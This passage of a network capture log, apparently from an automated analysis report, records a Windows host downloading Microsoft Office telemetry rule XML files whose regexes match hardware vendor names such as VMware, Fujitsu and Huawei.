</SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.9	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:04 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185204Z-1657d5bbd48sdh4cyzadbb3748000000055g00000000q442 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.9	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:04 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185204Z-1657d5bbd48vhs7r2p1ky7cs5w00000005tg000000000g29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.9	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:04 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:04 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185204Z-1657d5bbd48xdq5dkwwugdpzr000000005mg00000000ymqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:04 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.9	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:04 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:04 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185204Z-1657d5bbd48tqvfc1ysmtbdrg0000000057000000000n5cm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:04 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.9	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:04 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185204Z-1657d5bbd48cpbzgkvtewk0wu000000005dg00000000rd33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:05 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.9	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:05 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: ad3fc9c5-901e-00a0-0b19-196a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185205Z-1657d5bbd48xjgsr3pyv9u71rc00000001d000000000a9pd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.9	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:05 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185205Z-1657d5bbd482tlqpvyz9e93p5400000005bg00000000yfhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.9	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:05 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4fb39678-001e-00a2-6f82-19d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185205Z-1657d5bbd48gjrh9ymem1nvr1n00000000r000000000r4yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.9	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:05 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 9d36460c-301e-001f-594a-19aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185205Z-1657d5bbd48xjgsr3pyv9u71rc00000001ag00000000qg4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.9	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:05 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:05 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185205Z-1657d5bbd48xsz2nuzq4vfrzg800000005b0000000001gzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:05 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.9	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48jwrqbupe3ktsx9w00000005mg00000000cwmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.9	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48wd55zet5pcra0cg000000059g00000000sf0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml 